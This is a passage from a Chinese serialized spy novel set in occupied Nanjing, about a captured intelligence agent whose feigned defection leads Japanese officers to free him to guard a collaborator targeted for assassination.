“既然把我当成自己的同志,有些话还是不要藏在心里!” “我光明磊落,有什么好藏的!”冒大成求助地看了镰刀一眼。 镰刀及时咳嗽一声,“是这样的,种种迹象表明,林赤已不是原来的林赤了。” 曲思冬一愣,旋即问道:“镰刀同志能否说明白些?” “他已经投敌叛国了!” “怎么会?不可能!绝不可能!”曲思冬又一次蹦起,“他不是这样的人,你们肯定搞错了!” 镰刀逼视曲思冬一眼,曲思冬悻悻地坐下。 “你就这么自信?” “我太了解他了!他是什么样的人,我还能不知道?他受伤期间,我伯父给他手术,没有麻醉,眉头皱都皱一下!鬼子在安全区鞭笞他,他一声不哼,这些谁能做到?” “人总是会变的……”冒大成忍不住插话。看到镰刀面无表情看了他一眼,赶紧收声。 “所有人都会变,但我相信他不会!”曲思冬执拗道:“况且,他和小鬼子有不共戴天之仇!他的父母就是死于小日本的轰炸,如此血海深仇他怎会不铭记?!他比我们在座的所有人更恨鬼子!” “哦?你是说他的父母被日本人的飞机炸死了?”镰刀好奇问。 “32年第一次淞沪会战,他和父母在回家的路上,亲眼看到父母身首异处,当时,他还是同济大学的一名学生。这也是他参军的主要原因,他要给父母报仇!” “嗯……”镰刀若有所思,“我第一眼见到他,他给我留下的印象很深,我和你有相同的感觉,这个人骨子里有股倔强,是不会轻易屈服的!” 得到镰刀的这番答复,曲思冬得意地瞟了冒大成一眼,不慌不忙继续说道:“肉体再严酷的折磨都打不垮他,这一点我十分自信!” “是吗?”镰刀随口附和,他似乎从曲思冬的话中得到启示,随即陷入了沉思,好半天抬起头来,话题一转问道:“他和你妹妹的感情怎么样?” 曲思冬没想到镰刀会问出如此问题,一时间不知道如何回答,挠了挠头道:“林赤是个内敛的人,不大轻易在外人面前表露心迹,但我敢肯定他是个专一的人,还有,我自认为他是喜欢我妹妹的,当然,思秋也是真心喜欢他的,我的妹妹我了解,尽管极力掩饰,呵呵,她那点心思我懂的!” 镰刀这一次自顾自抽出一根烟,若无旁人地叼在嘴里,划了根火柴点着,猛吸了一口,悠然吐出一团烟雾。 曲思冬和在座的所有人几乎是同时把脑袋别向他处,生怕镰刀记起他们的存在,又给他们派发烟。他可是说过,香烟对他很金贵。 看得出,镰刀在思索着什么。 曲思冬的目光无处可去,不由仰头看了看房顶。 头刚抬起,镰刀的声音传来:“会不会有这样一种可能……” 所有人不约而同把眼睛盯着他,一副聚精会神的样子。 这个时候,镰刀终于发现了自己的失误,他竟然在独享抽烟的乐趣,这是何等自私!他的脸上顿时现出内疚之色,连忙一把抓住桌上的那包烟,众人明白他接下来的举动,纷纷再次把目光从他身上拿开。 “大家抽烟!”镰刀两只手指准确无误地抓起三根烟卷,拔出开始散发,曲思冬和储洪义摇手拒绝,只有老冒一脸渴望地接过,迫不及待点着。 曲思冬期待着镰刀的下文,率先问道:“什么可能?” “日本人会不会用思秋同志来要挟林先生?” 曲思冬一呆,潜意识里开始叹服镰刀的分析,竟然无言以对。 “这倒是大大可能!”老冒从鼻孔里喷出一缕淡淡的烟气,他一边点头一边说出自己的看法:“如果林先生果真如思冬同志描述的那般,这应该是唯一的可能了!” “你们的意思是林赤还是叛变了?”曲思冬狐疑问道。 “这不会有假,我们的情报来源千真万确!”镰刀补充一句。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“反正我不信!”曲思冬咕哝一句,不过声音已如蚊蝇,内心已然摇摆,他实在没有把握推测假如鬼子用妹妹胁迫林赤,林赤还会不会一如既往? 这样的疑虑隐约带有一丝欣慰,如若如此,岂不说明林赤和妹妹之间的感情坚不可破? “要知道,我们就不能用正常的思维来揣度鬼子,他们为了达成目的,无所不用其极!”镰刀道。 “是啊!”储洪义不失时机应和,他已沉默了太久。 …… 一声汽笛声把稻田从梦中惊醒,他抬起头,揉揉惺忪的双眼,看到一辆黑色轿车驶进憩庐,在院子里停下,黑木下车,匆匆走了进来。 昨夜饮酒归来,稻田回到他的电讯股,属下仓木君递给他一份即时的监听记录,他抱着试一试的心理,参照那本密码本亲自译电,居然发现完全适用,可内容却惊到了他,他觉得事态严重,译完后便风一般跑回宿舍,推醒了鼾声如雷的川上麻衣中佐。 川上知道有要紧的事情,爬起床只扫了一眼,面色忽然凝重起来,当即命令他回坚守岗位,严密监听敌台可能出现的新的动向。 这番折腾后,稻田就再也没有回去,一直待在电讯股,凌晨时分,他实在困得不行,趴在桌上朦朦胧胧睡去。如果不是这声汽笛太过尖锐,或许他还会睡上一两个小时。 此时刚过晌午,从黑木急骤的步态中,稻田大致有了判断,他一定是奔着电讯股而来。如此重大的情报,川上必定在一大早起床后,电告了黑木,而黑木的适时出现,毫无疑问是前来向他了解详细情况的。 果然,转眼间他听到门外有了踢踢踏踏的脚步声,看来不止黑木一人。 黑木和川上几乎同时出现在门口,他们的身后,是渡边雪奈少佐。 黑木走得很快,率先来到稻田办公桌前,与此同时,稻田毕恭毕敬立身。黑木的目光在稻田的脸上停留了片刻,和颜悦色道:“稻田君,把那份译电给我看看。” 昨晚木屋居门前发生的不愉快,他仿佛已忘记了。 稻田勇早已准备好一切,把电文递给黑木。 黑木接过,目光迅速把电文扫了一遍,内容显然和川上的汇报如出一辙,他放下译电,忽然想到还有一个细节没有看清,又凑近看了一眼。 “这是昨夜九点多监听到的?”黑木一边问稻田一边把手中的电文交给伸头探看的渡边。 “是,将军!” “这两份电文出自两个频号,应该是上下线关系,属下以为前者一定是隐藏在南京城的一号电台,显然隶属重庆方面,后者从表达的意思上看,是在回复一号电台,这一点逻辑也是成立的!”川上说出自己的分析。 “这两份电文间隔多长时间?”黑木问。 “报告将军,二十二分钟。” 黑木皱起眉头又问:“从那之后,有没有什么新发现?” “没有,敌人一直保持静默!再无异常!” 渡边终于弄清了所发生的一切,迫切说道:“将军,我有一点想不明白,敌人是如何知道刘云雄将军已经归顺我大日本帝国的?这个消息我们一直没有对外披露啊!” 川上看黑木未发表看法,连忙道:“这不奇怪,刘桑的归顺已有时日,早已在军中传开,这个消息我们并未刻意封锁,敌人获知只是早晚的事……还有,刘桑已经全面接手警卫军筹备事宜,事无巨细,皆亲力亲为,谁能保证敌人探听不到关于他的风声?” 黑木不置可否。 渡边适时道:“这第二份电文的落款不知将军有没有注意到?” “蜂鸟?” 渡边点头,“看来这只‘世界上最小的鸟’居然是他们的指挥官!” “是啊,而这名代号‘锤子’的必定就是那位军统南京站的站长喽!”川上紧接着说道。 “没错,就是林先生提到的他的直接上司。” 黑木把电文从渡边手里取来,又看了一眼,缓缓道:“看来敌人锱铢必较,跟我们较上劲了!” “将军,那我们该怎么办?”渡边不无忧虑道。 “中国有句古话,‘兵来将挡、水来土掩’,这句话同样适用我们,当然,我们也有义务提醒刘将军小心行事,同时加强对刘桑的警卫,我就不信了,如今的南京城是我帝国的天下,几只小鱼小虾还能翻出多大的浪?”黑木说到这儿,微微一笑,“军统要刺杀刘将军,我想那是痴心妄想!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第208章 破茧而出 黑木带着川上和渡边回到自己的办公室,关上房门,黑木径直问道:“二位,这件事你们怎么看?” 渡边想都没想就说道:“将军,自我大日本帝国去年七月在中国发动全面圣战以来,已过去大半年时间,其间,是有不少骑墙派的中国军官迫于我浩荡军威,纷纷改换门庭,但华中方面,像刘将军如此高级别的顽固派,在我帝国动情晓理之下,义无反顾归顺我皇军,例子并不多见,所以,属下认为它的意义非同凡响,首先它会多多少少地动摇中国政府的反抗决心,对口口声声标榜抗战到底的中国军人也将会是致命一击,其次,此先河一开,对接下来的策反工作也树立了好的榜样,可以断定,假以时日,随着战事向中国纵深处推进,倒戈的中国军人将会成为常态……” 黑木接过她的话道:“所以渡边少佐认为,中国政府绝不会让这样的事情发生?” “是的,这恐怕是当前军统南京站压倒一切的任务,他们必定千方百计达成使命!” 川上道:“如此说来,保护刘将军的安全,意义已非同一般?某种程度上,已上升为交战双方的一场博弈?” “嗯,有道理……”黑木颔首,“这个情报必须通报最高司令部,请松井将军相机决策!” “是,将军,我马上安排!” 黑木待川上走后,黑木又问渡边:“林先生的归顺,你觉得有几成把握?” “本来只有五成,不过我现在觉得有了八成。” “这么高?” “如果刺杀刘将军这件事,情报属实的话,我可以完全相信他的诚意!起码,他让我们做到了可以准确破译重庆方面的电文,而敌人浑然不知,如果他心存异心的话,断然不会这么做的,就冲这一点,难道不足以说明他的忠心?”渡边把手抱在胸前,又道:“当然,界定此情报的真伪,却极不容易,我们总不能拿刘将军的生命当赌注!” 黑木若有所思起来。 “将军,别犹豫了……”渡边大胆提醒黑木。 黑木回过神来,“你是指林先生这件事?” “是,我觉得启用他不会带来什么严重的后果,就看阁下怎么想了……” “这一点,我承认我和岩井先生有距离,不及他的果断!昨夜长谈,他给了我四个字的建议:‘胆大心细’,岩井先生还说,我们的职业,某种意义上是如履薄冰,如果一味畏首畏尾,只能裹步不前,永远无法看到更美好的风景,这些话让我大受裨益!” “那将军的决定是?” 黑木并未马上作答,他的目光从渡边脸上移走,落在墙上的一幅字上。 那是刘云雄在老虎桥监狱手书的两个汉字:慎独。 黑木缓缓移步上前,举起双手将掌心熨贴在字幅上,慢慢地向两侧滑开,然后小心翼翼扶正,回头之际,他的目光坚毅无比。 “立即启用林先生!” 黑木一字一顿说道。 “是,将军!”渡边欢快地应了一声。 黑木背着双手,再次走近渡边,目不转睛地看着渡边。 渡边大胆迎着他的目光,妩媚一笑:“将军准备怎么用他?” “明天的授勋仪式,我们松机关和警备司令部有明确分工,由警备司令部负责现场警戒以及外围的哨卡,为了确保授勋仪式万无一失,警备司令部在方圆三公里范围内设了三道关卡,盘查一切可疑人等,而我们松机关作为警卫的外围组织,需要紧密配合,你把行动处的所有队员全部撒出去,一律伪装成当地百姓模样,一旦发现异常,断然处置!……至于林赤嘛,你安排他参与此次行动,不过,这一次不要给他佩枪……此外,还要安排一名可靠的人,一定要是生面孔,对他进行暗中监视,如果有任何反常行为,你全权处理!” “是!” 黑木踱着步,继续说道:“我有种直觉,这位林先生心机颇深,他的内心,总是让人难以捉摸……” 渡边精神一振,追上几步,轻声说道:“要不就让我来试探试探他?我有把握取得他的信任,更有把握了解他内心真实所想!” “好!”黑木蓦然傲立原地,激情澎湃地吟诵道:“再美丽的蝴蝶,如果不给她破茧而出的机会,她永远展开不了翅膀,一千年一万年后,那只是一只蛹!我要给她自由,要给他飞翔的自由,她是在花丛中起舞,还是荆棘中穿梭,就看她的造化了!” …… 墙外万株人绝迹,夕阳惟照欲栖乌。 日暮之际,南京的街上已罕有人迹。 老虎桥监狱的那扇铁门紧紧关闭。 高墙外,荒草丛生,树叶纷纷凋零,看不到一丝绿意。 一辆黑色雪佛兰轿车快速驶近监狱大门,静静地停下,从驾驶室里走下一名年轻的日军女军官,紧接着,后座跳下两名持枪的日军士兵,亦步亦趋跟在她身后,女军官回头吩咐了一句,那两名士兵立即驻足,女军官正要继续迈步,忽然想起什么,抬手摘下她的军帽。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!一头乌黑的长发倾泻而下。 女军官没有回头,把军帽递给身后的一名士兵,然后款款向监狱大门走去。 铁门一侧,是一座岗亭,两名荷枪实弹的日军哨兵一外一内,外面的那名士兵早已把眼睛紧紧盯着来者,还没等她靠近,便一溜小跑迎了上去。 “我是松机关的渡边雪奈少佐。”女军官掏出证件,递给哨兵。 哨兵仔细看过,把证件还给渡边,然后敬了个军礼。 “告诉武内次郎典狱长,让他把十号监室的林先生带出。” 哨兵快步走回铁门,敲了敲铁门上方的门洞,门洞打开,露出一个脑袋,俩人简短交流了一下,门洞很快合上。 二十分钟后,铁门里侧有了脚步声,渡边整了整衣领,走近铁门。 铁门内的铁栓被人拉开,尖锐刺耳的摩擦声贴着心弦低空掠过,厚重的铁门发出沉闷的吟叫声,一点一点地敞开。 映入渡边眼帘的,首先是武内和他的兵。 二人的目光乍一相遇,武内侧向一步,林赤从他身后露出了身子,一名狱警不轻不重推搡了他一把,林赤跨出监狱大门,抬头间,西北风扑面而来,风中隐隐裹挟着飞舞的尘埃,林赤下意识挤了挤眼睛,再次睁开之际,一轮悬浮在屋顶的夕阳,散出的刺眼光芒砥砺而来,竟让他一时睁不开眼睛。 手上已无枷锁,但长期的禁锢已然让他忘记了竟然可以单手遮面,林赤的第一反应便是举起双手捂住眼睛,抬手的时候,没有铁锁的锐响,也无负重之感,这时的林赤方才幡然醒悟,他好像自由了。 他试探性地去适应西下的斜阳,手指刚离开脸庞,无意间看到渡边风轻云淡地瞟了他一眼。 这一瞥,忽然让他从梦幻中走向现实。 林赤心想,或许他的卧龙计划已迈出了坚实的一步。 他的双手不知不觉完全垂下,面对夕阳的余晖,林赤把眼睛瞪得浑圆。 他挺了挺胸膛,让他的腰杆尽可能舒展。 “谢谢武内上尉。” 渡边少佐在武内递来的交接单上签上了自己的名字,二人互敬军礼,就此道别。 那扇铁门缓缓关闭,合拢的一瞬间,生冷的撞击声在空中久久回响。 渡边在林赤面前站定,把他上上下下打量一遍,忽然道:“林先生,你知道今天对你意味着什么吗?” “请渡边少佐赐教。” “自由!”看到林赤无动于衷,渡边补充一句:“林先生好像并不兴奋,这难道不是林先生想要的吗?” “自由于我而言,永远是一种奢望!” “林先生怎会如此认为?” 林赤仰头看天,一只飞鸟从天空中掠过,林赤指着它远去的背影说道:“在我等眼中,它是何等惬意自在,然而你看看天色,不消半个小时,当夜幕降临的时候,它还得找一根树枝栖息,因为这只鸟知道,它无论多努力,怎么也冲不破这无边无际的夜色。” 渡边嫣然一笑道:“林先生是触景生情,还是悲天悯人?”不等林赤回答,渡边忽然踮起脚在林赤的耳边轻语道:“林先生,我有一事不明,还望赐教……” 林赤转头。 “据我所知,《申报社》的广告推广科的科长名叫李景轩,你的供词里面说,你和这位共党负责人的见面,是在一处独立的院子里,你能否告诉我,你前往报社登广告的这天,接洽你的,到底是哪一位?” “小芳!”林赤不假思索答道,“她带我去财务科交钱的时候,他们都叫她小芳。” “是嘛?”渡边的脸上浮出一丝暧昧的笑容。 …… 雪佛兰轿车开回憩庐的时候,已暮色沉沉。 轿车并未停靠憩庐,而是继续向里滑行,数分钟后在一排房子前停下。 渡边把车熄火,褪下手上的白手套,跳下驾驶室,从车头绕到副驾驶室旁,拉开车门,对林赤微微一笑道:“请吧,林先生。” 林赤探出身子,跨下车门,木讷地移动着脚步。 房子的入口站着两名卫兵,看到渡边,齐刷刷敬了个礼,把身子闪到一旁。其中一名马上在前面引路。 林赤跟在渡边身后走进这栋房子,穿过门厅,喧嚣的声浪忽然潮涌而至,两人一前一后拐上右侧的走道,两侧是一排排房间,所有的房间大门洞开,隐约可见房间里日本士兵在嬉笑打闹。走廊上的灯光昏暗,走道里穿梭着形形色色的日本士兵,绝大多数衣冠不整,有的端着堆满衣服的脸盆从盥洗室走出,更有不惧寒冷的士兵仅穿着一条内裤匆匆而过…… 开始有日本士兵从房间里探出脑袋,朝着这位貌美如花的女性吹口哨。 渡边并不介意,始终微笑着。 林赤知道,此处一定是日军士兵的集体宿舍。 前方的引路士兵在一间宿舍前停下,推开房门在不远处等着二人的到来。 这是一间可居住八人的宿舍,两排两张高低床,房间里围坐着七个人,看到渡边而至,纷纷站立,给渡边鞠躬。 “这里所住的,都是我行动处的同事!”渡边走到最里面的一张床前,是一张下铺的空床,渡边指了指对林赤说道:“以后,林先生就住在这里。” 林赤点了点头,眼睛落在床上一叠整齐的衣服上。 渡边看在眼里,忙道:“你这就去洗个澡,换上这身干净衣服,黑木将军待会儿要见你!”说着对一人招了招手,“中村君,由你带林先生去!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第209章 临时起意 就在渡边带着林赤驱车通过憩庐东边的一条马路向士兵宿舍前进时,黑木正站在窗前,他的目光毫不意外地落在了这辆车上。 黑木知道,他即将启用的林先生来了。 此时此刻,他的心情总体上是忐忑的。 在启用林赤前,黑木必须再见一眼他,当面了解他的想法,这对天性谨慎的黑木来说,是必不可少的重要一环,如果在双方的交流中,他觉得某一些瑕疵是他无法视而不见的,那么这样差强人意的使用,还是宁缺毋滥为好,他可以及时收手,以免抱憾终身。 这其实本是黑木不自信的表现,林赤的归顺还有很多疑点,他做不到马上一一核查,这是其一,其二,明天的授勋仪式已迫在眉睫,他的松机关作为主办单位之一,尽管不担负具体的安全保卫事宜,但除了这之外,还有很多工作需要他和他的手下亲力亲为,就在今晚八点,组委会决定举行最后一次碰头会,他将前往警备司令部和中岛进行最后的会晤,以便查漏补缺,遏制可能存在的疏漏。 现在,时间已快七点了,时间已过去半个多小时,林赤还姗姗未至,他有些焦虑,但还是忍着性子在办公室等着他的到来。 还好,这个时候,他办公桌上的电话响了,他的注意力得到了有效的转移,不至于备受等人的煎熬。 黑木随意拿起电话,电话里的声音忽然让他一激灵。 “黑木老弟,你的情报很重要,刘云雄将军居然上了中国政府的刺杀名单,这一点我并不意外,只是没想到他们反应这么快!” “报告松井将军,这足以说明刘桑的加入对敌人的打击是致命的,他们或许不堪接受这样的后果!” “黑木将军,情报来源可靠吗?”松井话题一转。 “我们松机关破获了军统的密码……”黑木说道此处,觉得表达不妥,又改口道:“我们近期全力以赴侦破一起间谍案,抓到了军统南京站的一名副站长兼行动处长,他叫林赤,因缘巧合,和他一道归案的还有一本军统的手抄密码本,从最近的电讯侦听来看,重庆方面并不知道我们已掌握了他们的通讯密码,这就让我们轻易获得了如此重大的情报……” “很好!”松井果断打断了黑木的喋喋不休,他的时间很宝贵,接下来他需要直奔主题。 “这件事,黑木将军怎么看?”松井石根将军尽管在他的一亩三分地,官衔大到处于权力之巅,但竟也和黑木之类一般免俗不了,首先是喜欢就某一件事先让下级发表意见,这其实是浸淫官场的达贵们一贯采用的小伎俩,明面上看,是谦虚,是善于倾听下级的声音,实则上广开思路,从别人的建议中汲取营养,从而找出最优方案,某种意义上,也是脱身之计,即使采纳了对方的意见,在实施过程中,万一出现了偏颇,也方便他找一个替罪羊。 黑木小心翼翼答道:“将军,属下以为,一定不能让敌人的阴谋得逞!不过……”黑木极力思索着接下来的话该怎么表达。 前一句毫无新意,后一句“不过”的转折,才是松井迫切想知道的,他不慌不忙问道:“黑木将军有何高见?” “您不觉得对于刘将军的归顺,我们难道不需要来一次投石问路吗?” “此话怎讲?” “南京警卫军司令,这不是一个普通的岗位,您给了它一千到一千两百人的编制,这就意味着司令官可以调动如此庞大的兵力,而司令官是一名中国人,至于他和帝国是否同心,我相信将军您也不是十分确定,只是因为逼人的形势和时间的紧迫不得不采用的折中办法,但即便再刻不容缓,我们也不能引狼入室!故而,属下以为这份情报来得太及时了,一方面,我们可以试探出中国政府刺杀刘桑的决心,您不觉得对方决心越大,越能说明刘桑的归顺是众望所归?其二,我等还可以利用此事大做文章,彻底断掉刘桑的幻想,让他全心全意为帝国服务,真正担负起他应尽的义务!” “黑木将军的分析果然另辟蹊径,让人听来耳目一新,不像我的那些参谋,满脑子就知道和敌人对着干,总以为不遂敌人之愿,便是最好的反击,根本想不到还可以借力打力,用四两之力力拔千斤!” “将军谬奖!”黑木有些得意,继续说道:“所以,我以为这件事上我们宜分两步走,第一,我们要向刘桑透露敌人的刺杀计划,以此来考量他的反应,从而让他丢掉幻想,一心为我所用!第二,对于刘桑的保护,要采用内紧外松的办法,表面上我们要放手,给敌人制造行刺的机会,这不但可以试探出敌人的意图真伪,还可以让刘桑身临其境,真切体会到被人抛弃的感觉,更要让他清楚知道,他刘云雄已经没有回头路了!” “但这样做难度很大啊!黑木将军总不能指望敌人的枪法是菜鸟级的?” “那倒没有,我已想好了如何做……” “黑木将军早有对策?” 这章没有结束,请点击下一页继续阅读!“我们必须给刘桑一次公开的抛头露面的机会,暗地里加强对他的保护,杜绝出现的一切意外!” “说说具体方案?” “不入虎穴焉得虎子?属下认为此次授勋仪式就是极好的机会,我们可以让刘桑来主持授勋结束后的惩戒仪式,不但如此,我们还要在明天一大早贴出告示,把这个消息放出去!” “好,就按将军的计划,不过,黑木将军要保证刘将军的安全,假如……” “如果刘将军出现意外……我将剖腹谢罪!” 挂掉电话,黑木犹自愣神,他不禁暗暗后悔,一件和自己毫不相干的事情经他一谋划,居然赖上他了,而且万一出现意外,后果很严重。 如何保证刘云雄的安全呢?黑木陷入沉思。 就在此时,敲门声接踵而至。黑木这才想起他当下的安排。 林赤跟在渡边身后,惴惴不安走进房间。 “来,林先生快快请坐!”黑木一脸堆笑。 林赤已洗完澡,换了一身宽松干净的衣服,除去了数天来蓬头垢面的模样,整个人显得干练,只是脸色依旧苍白,精神有些颓靡。 渡边停在原地,林赤走近办公桌前的一张沙发,缓缓坐下。 “明天起,林先生便可正式实现自己的抱负了,不知在今晚,林先生有没有什么话想说?” “一切听从将军的安排!” “关于你的具体工作安排,林先生有没有什么建议?” “戴罪之身,岂敢挑三拣四?将军不杀我,已是天大的恩情,更何况还给我一份工作,起码衣食无忧,我林赤已心满意足矣。” “林先生这么消极?”黑木略显不满。 “本人有鸿鹄之志,将军未必肯给?”林赤扫了一眼黑木,目光中乍现一缕咄咄逼人的光芒,但俄顷间灰飞烟灭,“将军还是等我熟悉一下环境再说,我是个新人,很多游戏规则尚需要我边学边悟!至于我到底是铁是钢,不日后将军自有定论,到时我相信将军自会给一个适合于我的岗位!” “很好,那前一阶段就委屈一下林先生了……”黑木说着看了一眼渡边,渡边赶紧趋步上前,抢先说道:“从明天起,你隶属我们行动处,和我们统一行动……” “不!”黑木打断了渡边,“我改注意了……”看到渡边投来诧异的目光,黑木走到林赤跟前,一手搭在他的肩上,严肃说道:“我知道林先生的身手不错,有一件更紧急的事情需要你去做……” 林赤站起身,“请将军吩咐!” “我们得到情报,军统要刺杀刘云雄刘将军,我需要你全力保证他的安全,不能有丝毫闪失,如果刘将军出现意外,我想林先生的使命也就结束了!” “是,本人一定全力以赴!”林赤正了正身子,话锋一转,“有一句话我不知当不当问?” “问吧。” “刘云雄是谁?军统为何要刺杀他?” 渡边瞟了一眼黑木,刚要解释,黑木率先道:“这位刘将军你应该并不陌生,他和你一样曾经也是老虎桥监狱的一名阶下囚,你们曾有过交往,林先生还有印象吗?” “请将军明示!” “昨晚在绿柳居聚餐,他就坐在你对面,我给你们大家做过介绍!” “是他呀!”林赤恍然大悟的样子,“那军统为何单单要对他进行刺杀?那有什么特别之处吗?” “是这样的,在归顺我帝国之前,他有一个特殊的身份,那就是国军的一名旅长,被俘后一直关押在老虎桥监狱,后被人举报才暴露了真实身份,经过我们的开导,他义无反顾加入了我们阵营,现被任命为南京警卫军司令……” “难怪呀,如此奸佞之人,重庆政府又怎能让他苟活于世?”林赤冷冷说道,“不过,他好像不待见我,昨晚的见面,自始至终他没给我一个好脸色!” “这不奇怪啊!”渡边终于忍不住说道:“你忘了?在老虎桥监狱,你和钱瑾余的那次打斗,无意中把他牵扯进来了,他不生气才怪!” “我说呢,怎么那么眼熟!让我保护他,将军征求过他的意见吗?” “你们今后同在一口锅里吃饭,他是名将军,不会小心眼的,林先生尽管放心!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第210章 试探 黑木本来只是想把林赤安排在授勋仪式的外围,和他的松机关行动处队员一样,成为控制意外事件发生的一支隐秘力量,没想到松井将军的一个电话,让他灵感泉涌,在见到林赤的一瞬间,他临时起意,马上改变了决定。 他与松井的通话中,提及了对刘云雄投石问路的设想,松井几乎不假思索答应了他,这足以说明他的主意是恰当而必要的,既然决定已下,最先浮现在黑木脑海的,那就是藉此机会,尽可能排除林赤身上的疑点。 黑木知道,他的计划大胆而冒险,如果林赤包藏祸心,极有可能危及到刘云雄的生命安全,到时他果真要剖腹自尽了!但他是一个心里藏不住疑虑的人,如果让他带病用人,他的每一天都将会寝食难安。 当然,黑木并不是一个善于冒险的赌徒,他天性不爱赌,这是他和岩井英一的最大区别,所以在他做出决定后,他的心中已有了进一步的计划。 黑木看了看表,又看了看林赤,关切道:“林先生一定饿了吧?”不等林赤回答,黑木命令渡边:“渡边少佐,我看现在已是晚饭时间,你马上带林先生去食堂吃点东西,给你们二十分钟时间,吃完后即刻回到这里,接下来我有安排。” 机关食堂距离很近,大厅里熙熙攘攘,黑压压全是人,林赤跟着渡边一前一后进了食堂,渡边让林赤找个座位坐下,自己匆忙去窗口帮林赤打饭菜。 林赤站立原地,目光扫过大厅,忽然看到人群中有两个熟悉的身影,他想都没想,立即挪动脚步走了过去。 那两人正并排而坐,吃着饭,不时有说有笑。林赤一言不发走近,在他们对面的空凳上一屁股坐下,眼睛便一刻没有移开他们。其中一人不经意抬头,看到林赤,脸上顿时呈现讶异之色,很快这讶异之色又转变为惊惧,神色极不自然,当即站起身,端起饭盆就欲离去。他身旁的另一位蓦地也发现了异常,当他目光和林赤相聚的一瞬间,呆了一呆,但很快镇定下来,拽了拽站起的同伴的衣襟,示意他坐下。 站起的那位迟疑着,不知该不该就此离开,他身旁的那位赶紧说道:“李泉兄弟,你怕什么,他要找的人是我!” 李泉狐疑看了他一眼,极不情愿坐下。 李泉一坐下,身旁的那位开口说话了:“我钱瑾余和这位林兄弟有些过节,我想,今天到了该解决的时候了。” 李泉这才想起二人曾经的恩怨,心稍稍放下,伸手要和林赤相握,林赤无动于衷,他尴尬地缩回手,于是勉强挤出一丝笑容:“林赤兄弟,没想到……” “没想到我也有重见天日这一天?”林赤冷冷地接过他的话。 “林兄弟误会了,我不是这个意思,我是想对兄弟的弃暗投明表示祝贺……” “这是李兄弟的真心话?” “当然,我对天发誓,今后能和林先生共事,我李泉打心底高兴!” “你不怕我给你穿小鞋?”林赤目光如炬。 “哪能……林兄弟开玩笑吧……”李泉讪笑着,“林兄弟可不是这样的人!” 林赤不再看他,脑袋转向钱瑾余,不苟言笑道:“没想到在老虎桥监狱一别,我们竟以这样的方式再次见面了!” 钱瑾余没有立即回答,慢慢放下手中的筷子,“林队长,我知道你恨我,是我有负于你,我也不想强调理由,你说吧,你想怎么办?” 说完,钱瑾余不安地迎着林赤的目光,双掌按在桌上,做好了随时应对突发事件的准备。 林赤脸上紧绷的肌肉忽然松弛下来,揶揄道:“你倒也爽快,不过时过境迁,我已不恨你了……” “果真?”钱瑾余精神一振, 又试探道:“你说的可是实话?” “我连自己都恨不起来了,何况是你?”林赤长叹一口气,“我一向自命不凡,谁知命运作弄,我们居然殊途同归……” 钱瑾余不失时机安慰道:“你的事我听李泉兄弟说起,如果不是他们抓了你的女友,你也不会这么轻易转变的!” 李泉赶紧附和道:“林兄弟不比我们,我们的骨头没有你硬……这一点自叹不如……”他马上想起了自己在刑讯过程中曾做过的那些恶事,脸上流露出浓浓的歉意,一时间语无伦次起来:“我……我真混蛋……我真不应该对你们下那样的狠手……” “不要再说了,我知道你也是迫不得已!”林赤挥挥手,看着钱瑾余面前的饭菜,咽了一口口水,“真有点饿了!” 正说着,李泉和钱瑾余忽然恭敬立身,嘴里道:“渡边少佐好!” 渡边从林赤身后现身,把手里的饭菜搁在林赤面前,吩咐道:“林先生快用,将军还在等着我们呢!”说完对李泉他们点点头道:“你们二位也在啊!” 二人闻言忙道:“我们正和林先生叙旧呢!” “自今日起,你们三位将在我的行动处一起共事,我希望你们不计前嫌、精诚合作,共谋帝国大业!” 本小章还未完,请点击下一页继续阅读后面精彩内容!…… 林赤重新回到黑木的办公室时,已吃饱喝足,他的面色红润,人也精神不少。 林赤已没有了饥饿感,整个人一下子活络起来,率先问道:“将军有何指示?” 黑木离座上前,正色道:“明天将在鼓楼广场举行帝国攻占南京后的首场授勋仪式,仪式结束后,会进行一场惩戒活动,松井将军经过反复思量,决定让刘云雄将军主持。为了保证刘将军的安全,我命令你寸步不离,确保他毫发无损!” “是,将军!”林赤双腿并拢,挺了挺身板,高声应答。 “嗯,很好。”黑木满意地点头,回到座位,开始收拾他的黑色公文包,半晌抬头对渡边道:“渡边小姐,你去通知一下川上君,让他准备一下,待会儿和我们一起去一趟警备司令部。” 渡边正要离去,林赤动了动嘴唇,嗫嚅道:“将军,我有一事想咨询一下,不知方不方便透露?” 渡边好奇停下脚步。 “林桑请说。” “您所说的惩戒活动是什么样的内容?” “哦,是这样的,我帝国自占领南京城以来,几乎每天都遇到各式各样的反抗,我大日本皇军一直在进行有效的镇压,这期间,抓获不少极端分子,本着治病救人的原则,我们对他们中的大多数人均是以说教为主,宽容以待,可是尽管如此,还有为数不少的冥顽之徒,总也不开化……对于这些不思悔改的顽固分子,我们决定断然放弃,因而在明天的授勋仪式一结束,将集中行刑,以儆效尤!” “我明白了……”林赤呐呐自语着,倏然提高声音道:“将军,如若如此,我有一要求!” “什么要求?” “我要求持械!”林赤已无一丁点拘谨,“如此规模的行刑仪式,我以为必定暗流汹涌,为防意外,我需要佩枪!”林赤看到黑木面露为难之色,脱口道:“将军总不至于让属下用血肉之躯为刘将军挡子弹吧?” “怎么会呢?”黑木不自然地挤出一丝笑容,瞥了一眼尚未离开的渡边,立即岔开话题,“渡边小姐,时间很紧,还不快去通知川上君?” 渡边很想知道黑木接下来如何答复林赤的要求,但机关长的脸上已现不耐烦之色,再滞留已不合时宜,于是不情愿挪动脚步,出了房间。 出了房间的渡边并未马上离去,而是隐身在门外。 此时的渡边多留了一个心眼,她怕黑木万一给了林赤佩抢,而二人独处一室,如果林赤心存异心,她以为凭林赤的身手,黑木必定凶多吉少! 正是出于对黑木长官的性命之忧,渡边悄声无息地贴着门缝,窥视着屋内。 渡边前脚刚离开房间,她看到黑木将军犹犹豫豫地打开了抽屉。 接着,让渡边忧心的一幕出现了。只见黑木从抽屉里拿出一支精巧的勃朗宁手枪,恋恋不舍打量了几眼,沿着桌面推向林赤,无限惆怅道:“林桑,这支手枪我已佩戴了五年,现在我把它赠予你,我希望你用这支枪保护好刘将军!” 渡边心一沉,心中暗暗责怪机关长的粗心,她怎么也想不明白,他为何偏偏要等自己离去,在房间里只剩下他和林赤时,把一支杀器亲手递给一名“危险人物”! 